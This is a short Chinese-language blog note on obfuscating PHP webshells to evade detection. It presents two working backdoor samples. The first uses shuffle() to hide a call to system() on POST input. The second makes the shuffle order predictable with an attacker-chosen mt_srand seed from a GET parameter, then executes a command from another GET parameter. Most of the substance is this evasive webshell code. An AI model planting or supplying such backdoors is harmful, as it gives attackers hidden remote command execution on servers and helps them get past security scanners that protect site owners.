记一次学习--webshell绕过(利用清洗函数)

目录

样本

样本修改


样本

php 复制代码
<?php
$a = array("t", "system");
shuffle($a);
$a[0]($_POST[1]);

通过 shuffle 函数打乱数组,然后通过$a[0]取出第一个元素,打乱后第一个元素可能是t也可能是system。然后再进行POST传参进行命令执行。

这里抓包可以正常执行

样本修改

对于shuffle函数来说,他的随机是伪随机,我们可以通过对其代码的分析然后预测数组中元素打乱的规律。对于sheuffle来说底层调用的是mt_rand来生成随机值,以次控制打乱的数组中的元素的顺序。然后对于mt_rand来说当他的种子定好他的随机值就不会发生改变了。

php 复制代码
<?php
$arr = array("t","a","s","system");
function shift(&$arr){
mt_srand($_GET[0]);
shuffle($arr);
}
shift($arr);
$arr[2]($_GET[1]);
相关推荐
ByNotD0g2 分钟前
Doris 学习笔记
android·笔记·学习
困死,根本不会9 分钟前
Qt Designer 基础操作学习笔记
开发语言·笔记·qt·学习·microsoft
WJSKad123516 分钟前
Focus瓶颈轻量化改进YOLOv26通道压缩与残差学习协同突破
学习·yolo
NewCarRen19 分钟前
车载安全(五):车载安全系统的开发过程和安全评估方法
网络·安全
智能工业品检测-奇妙智能19 分钟前
化工行业安全体系管理平台
人工智能·安全·圣泉集团·奇妙智能
安全渗透Hacker24 分钟前
OpenClaw 威胁分析(中文翻译+表格整理)
网络·人工智能·安全·安全威胁分析·威胁分析
愚者游世26 分钟前
<algorithm> 中 remove、remove_if、remove_copy、remove_copy_if 详解
c++·学习·程序人生·职场和发展·visual studio
云边散步26 分钟前
godot2D游戏教程系列二(13)
笔记·学习·游戏·游戏开发
gameboy03128 分钟前
网络爬虫学习:应用selenium获取Edge浏览器版本号,自动下载对应版本msedgedriver,确保Edge浏览器顺利打开。
爬虫·学习·selenium
小蜗牛~向前冲30 分钟前
大模型学习系列-Embedding与向量数据库
人工智能·python·神经网络·学习·机器学习·embedding